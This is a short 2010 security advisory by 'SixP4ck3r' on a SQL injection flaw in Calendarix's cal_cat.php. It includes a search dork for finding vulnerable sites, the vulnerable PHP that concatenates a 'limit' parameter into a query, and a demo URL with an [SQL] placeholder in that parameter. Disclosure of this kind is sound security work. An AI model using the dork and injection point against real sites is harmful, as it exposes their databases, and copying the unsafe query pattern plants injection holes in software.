===============================================================================
Calendarix (cal_cat.php) SQL Injection Vulnerability
===============================================================================
Author: SixP4ck3r
Email & msn : SixP4ck3r@Bolivia.com
Date:17 July 2010
Critical Lvl: High
Impact: Exposure of sensitive information
Where : From Remote
web : http://foro.nbsecurity.net/
Credits : Diablada and Caporal is Bolivian
Dork : inurl:cal_cat.php?op=---------------------------------------------------------------------------[Sofware afected info]
Calendarix it's a events manager based in web write in php, requiere
mysql for database.[Download]
http://www.calendarix.com/[Afected versions]
All +0 day
---------------------------------------------------------------------------[Bug]if($limit>$totalrows) $limit =0;
$query .=" LIMIT ".$limit.",".$limitrow ;
$query ="select ".$qstr.$query ;// echo "<h4>".$query."</h4>";
$result = mysql_query($query);
$rowname = mysql_fetch_object($result);
$rows = mysql_num_rows($result);---------------------------------------------------------------------------[Exploting..demo]
http://example/[path]/calendar/cal_cat.php?op=cat&id=1&year=2010&sort=&catmonth=6&catview=0&limit=[SQL]---------------------------------------------------------------------------
With R3gards,
SixP4ck3r from Bolivia
___eof____
